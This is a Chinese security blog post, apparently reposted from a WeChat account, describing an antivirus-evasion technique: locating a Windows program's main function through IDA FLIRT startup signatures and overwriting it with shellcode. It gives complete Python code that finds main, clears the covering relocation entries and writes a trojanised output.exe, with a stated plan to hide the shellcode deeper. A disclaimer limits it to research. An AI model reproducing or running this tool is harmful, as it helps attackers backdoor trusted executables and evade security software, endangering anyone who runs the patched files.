自动化patch shellcode到EXE实现免杀

admin 2024年11月21日13:55:50评论12 views字数 6947阅读23分9秒阅读模式

前言

最近二开CS顺便学习二进制研究之前的工具,看到了很早之前的工具shellter,细看之下感觉虽然是很多年前的工具,但思想完全不输现在的各种loader,核心思路应该是分析PE文件执行流,然后在某个必经的执行路径上面patch shellcode,其中似乎涉及了IAT windows api调用劫持?之类的技术,不过现在特征过于明显了。

打算写个简陋版的自用,以下以Everything.exe x64与x86为例

找Main函数

首先是确定patch位置,OEP肯定不行太明显了,然后是CRT也不行,最好是进入main函数后搞个AST之类的分析必经路径或者和shellter一样劫持系统调用

如何找到main并过滤各种系统调用

打开IDA然后开始找特征
自动化patch shellcode到EXE实现免杀
在分析了各种PE后,没找到特别方便的特征,三个push或者三个mov一个call写起规则来十分不优雅。

但发现每次IDA都能精准的识别出来main函数,为什么?

总所周知,IDA核心技术之一就是名为IDA FLIRT Signatures的大量签名库,通过这些签名它能够精准识别各种系统调用以及其他由编译器自动生成的规律性的代码,而其中就有一种特殊的签名启动签名,专门用来识别CRT来确定编译器类型并定位main函数
自动化patch shellcode到EXE实现免杀
其中启动签名的pat模板文件在IDA SDK的flair/startup文件夹下,而打包好的签名都在sig文件下,通过startup.bat能看出来启动签名被打包为了pe.sig与pe64.sig
自动化patch shellcode到EXE实现免杀
sig是一个前缀树之类的结构,将前缀相同的放到一个根下,大概是这种结构

33C0:
  40C20C00:
    0. 00 0000 0006 0000:o=2:ulink:a=104:m=+E(+5*0c&~-/VirtualProtect~)??*0d&/entry:S=0/pe
  C20800:
    0. 00 0000 0005 0000:o=2:ulink:a=104:m=+9!^:S=0/pe
50:
  5053:
    5556578B5C241C8B7424208B6C2424FF15........89442410A9000000:
      0. 29 5F3D 0154 0000:o=2:a=104:dm32rw32:m=+141^/_DllMain@12
    8B5C2410558B6C241C568B74241C57FF15........A900000080894424:
      0. 29 6A3B 0166 0000:o=2:a=104:dm32rw32:m=+BF^/_DllMain@12
  6A00E8........BA........528905........894204C7420800000000C742:
    0. 06 3DAD 0032 0000:o=2:a=10C:b32vcl

flair/bin/**/dumpsig可以将sig解析为可阅读的内容
自动化patch shellcode到EXE实现免杀

Pattern: 33C040C20C00
    0000:o=2:ulink:a=104:m=+E(+5*0c&~-/VirtualProtect~)??*0d&/entry:S=0/pe 

Pattern: 33C0C20800
    0000:o=2:ulink:a=104:m=+9!^:S=0/pe 

Pattern: 5050535556578B5C241C8B7424208B6C2424FF15........89442410A9000000
    0000:o=2:a=104:dm32rw32:m=+141^/_DllMain@12 

Pattern: 5050538B5C2410558B6C241C568B74241C57FF15........A900000080894424
    0000:o=2:a=104:dm32rw32:m=+BF^/_DllMain@12 

Pattern: 506A00E8........BA........528905........894204C7420800000000C742
    0000:o=2:a=10C:b32vcl

以能匹配到32位Everything.exe的签名为例:

Pattern: 6A6068........E8........8365FC008D459050FF15........C745FCFEFFFF
    0000:o=2:a=104:vc32rtf:l=vc32mfc/vcextra/vc8atl:m=+171^[_wWinMain@16]~msmfc2u/~@vc32mfc@; 
    0000:o=2:a=104:vc32rtf:l=vc32mfc/vcextra/vc8atl:m=+172^[_WinMain@16]~msmfc2/~@vc32mfc@;

这个则是Everything.exe 32位的___tmainCRTStartup函数
自动化patch shellcode到EXE实现免杀
匹配完成后,IDA将解析后面的配置,大概是os类型为2(win),app类型为104,接下来使用vc32rtf.sig进行解析,编译器为vc32mfc等信息。

对我们有用的是m=+171^[_wWinMain@16] 与 m=+172^[_WinMain@16],表明了main函数相对于___tmainCRTStartup的偏移量,这里有两个叶子节点,表示可能是171或者172,但只要查看那个地址是不是E8 call就可以确定了(正常情况下sig还包括CRC校验,Tail bytes,函数长度等校验方式,但没详细文档所以等出现碰撞再说吧)。

sig是有压缩的且启动签名的文档不是很全,此时有两个选择:

一:逆向dumpsig,通过sig写一个极其优雅的树与前缀匹配;

二:执行dumpsig,写一个丑陋的暴力正则匹配
二写起来快一点

def extract_patterns_and_m_values(file_path):
    patterns = {}

    with open(file_path, 'r', encoding='utf-8') as file:
        content = file.read()
        sections = content.strip().split('nn')
        for section in sections:
            pattern_match = re.search(r'Pattern:s*(.+)', section)
            m_values = re.findall(r'm=[+-]([0-9A-Fa-f]+)', section)

            if pattern_match:
                pattern = pattern_match.group(1).strip()
                filtered_m_values = [
                    m.strip() for m in m_values if re.match(r'.*[0-9A-Fa-f]$', m.strip())
                ]
                if filtered_m_values:
                    patterns[pattern] = filtered_m_values
    return patterns


def search_bytes_in_file(data, pattern):
    pattern = pattern.replace('..', r'.{1}')
    pattern = re.sub(r'([0-9A-Fa-f]{2})', r'\x1', pattern)
    regex = bytes(pattern, 'utf-8')
    match = re.search(regex, data)
    return match


def get_main_offset(data, pattern_path):
    patterns = extract_patterns_and_m_values(pattern_path)

    for pattern, m_values in patterns.items():
        match = search_bytes_in_file(data, pattern)
        if match:
            # print(match.start())
            for m in m_values:
                if data[match.start() + int(m, 16)] == 0xE8:
                    call_main_offset = match.start() + int(m, 16)
                    return call_main_offset
    return 0

重定位表

生成个shellcode,先patch到main函数试试水,结果运行后毫无反应,只能调试看看了。

看看patch后的代码:
自动化patch shellcode到EXE实现免杀
一模一样,没有问题,运行看看
89 85 7C FF FF FF变成89 85 7C FF FF 8A
自动化patch shellcode到EXE实现免杀
看一眼加载的地址,IDA静态分析时给出的期望地址是.text:004A49A7,但实际加载出来的是.text:00D549A7,想一想能在运行开始就修改代码的东西,九成是重定位表的问题。

果然有个块指向这个位置
自动化patch shellcode到EXE实现免杀

解决这个就很简单了,把指向这个范围内的所有重定位块全清零就好(如果觉得特征明显也可以改成其他内容)

def modify_relocation_entries(pe, target_rva_start, target_rva_end):
    if not hasattr(pe, 'DIRECTORY_ENTRY_BASERELOC'):
        print("No Base Relocation Table found.")
        return
    # 遍历每个重定位块
    for base_reloc in pe.DIRECTORY_ENTRY_BASERELOC:
        # 遍历重定位条目
        new_entries = []  # 用于保存修改后的条目
        for entry in base_reloc.entries:
            entry_rva = entry.rva
            # print(f"Modifying Relocation Entry RVA: 0x{entry_rva:X}")
            if target_rva_start <= entry_rva <= target_rva_end:
                # print(f"Modifying Relocation Entry RVA: 0x{entry_rva:X}")
                entry.type = 0
                entry.rva = 0
            else:
                new_entries.append(entry)
        base_reloc.entries = new_entries

完整代码&项目

LDAx2012/AutoPatch

import re
import argparse
import pefile


def extract_patterns_and_m_values(file_path):
    patterns = {}

    with open(file_path, 'r', encoding='utf-8') as file:
        content = file.read()
        sections = content.strip().split('nn')
        for section in sections:
            pattern_match = re.search(r'Pattern:s*(.+)', section)
            m_values = re.findall(r'm=[+-]([0-9A-Fa-f]+)', section)

            if pattern_match:
                pattern = pattern_match.group(1).strip()
                filtered_m_values = [
                    m.strip() for m in m_values if re.match(r'.*[0-9A-Fa-f]$', m.strip())
                ]
                if filtered_m_values:
                    patterns[pattern] = filtered_m_values
    return patterns


def search_bytes_in_file(data, pattern):
    pattern = pattern.replace('..', r'.{1}')
    pattern = re.sub(r'([0-9A-Fa-f]{2})', r'\x1', pattern)
    regex = bytes(pattern, 'utf-8')
    match = re.search(regex, data)
    return match


def get_main_offset(data, pattern_path):
    patterns = extract_patterns_and_m_values(pattern_path)

    for pattern, m_values in patterns.items():
        match = search_bytes_in_file(data, pattern)
        if match:
            # print(match.start())
            for m in m_values:
                if data[match.start() + int(m, 16)] == 0xE8:
                    call_main_offset = match.start() + int(m, 16)
                    return call_main_offset
    return 0


def modify_relocation_entries(pe, target_rva_start, target_rva_end):
    if not hasattr(pe, 'DIRECTORY_ENTRY_BASERELOC'):
        print("No Base Relocation Table found.")
        return

    for base_reloc in pe.DIRECTORY_ENTRY_BASERELOC:
        new_entries = []  
        for entry in base_reloc.entries:
            entry_rva = entry.rva
            # print(f"Modifying Relocation Entry RVA: 0x{entry_rva:X}")
            if target_rva_start <= entry_rva <= target_rva_end:
                # print(f"Modifying Relocation Entry RVA: 0x{entry_rva:X}")
                entry.type = 0
                entry.rva = 0
            else:
                new_entries.append(entry)
        base_reloc.entries = new_entries


def patch_pe(pe_file_path, shellcode_path):
    with open(shellcode_path, 'rb') as f:
        shellcode = f.read()
    shellcode_size = len(shellcode)

    pe = pefile.PE(pe_file_path)
    with open(pe_file_path, 'rb') as f:
        data = f.read()

    file_type = 32 if pe.FILE_HEADER.Machine == pefile.MACHINE_TYPE['IMAGE_FILE_MACHINE_I386'] else 64
    pattern_path = 'pe.txt' if file_type == 32 else 'pe64.txt'

    call_main_offset = get_main_offset(data, pattern_path)
    if call_main_offset == 0:
        print("Cant pattern crt or main!")
    else:
        call_main_rva = pe.get_rva_from_offset(call_main_offset)
        relative_offset = int.from_bytes(data[call_main_offset + 1: call_main_offset + 5], 'little', signed=True)

        main_rva = call_main_rva + relative_offset + 5
        main_offset = pe.get_offset_from_rva(main_rva)
        print(f"Main RVA: 0x{main_rva:X}, Main offset: 0x{main_offset:X}")

        modify_relocation_entries(pe, main_rva, main_rva + shellcode_size)
        output_file_path = 'output.exe'
        pe.write(output_file_path)
        with open(output_file_path, 'rb+') as f:
            f.seek(main_offset)
            f.write(shellcode)
        print(f"Patch PE file saved as: {output_file_path}")


if __name__ == '__main__':
    parser = argparse.ArgumentParser(description='')
    parser.add_argument('pe_file_path', help='pe_file_path')
    parser.add_argument('shellcode_path', help='stage_shellcode_path')
    args = parser.parse_args()
    patch_pe(args.pe_file_path, args.shellcode_path)

TODO:

搞个AST之类的,把shellcode藏得再深一点

 

原文始发于微信公众号(Web安全工具库):自动化patch shellcode到EXE实现免杀

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年11月21日13:55:50
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   自动化patch shellcode到EXE实现免杀https://cn-sec.com/archives/3398473.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息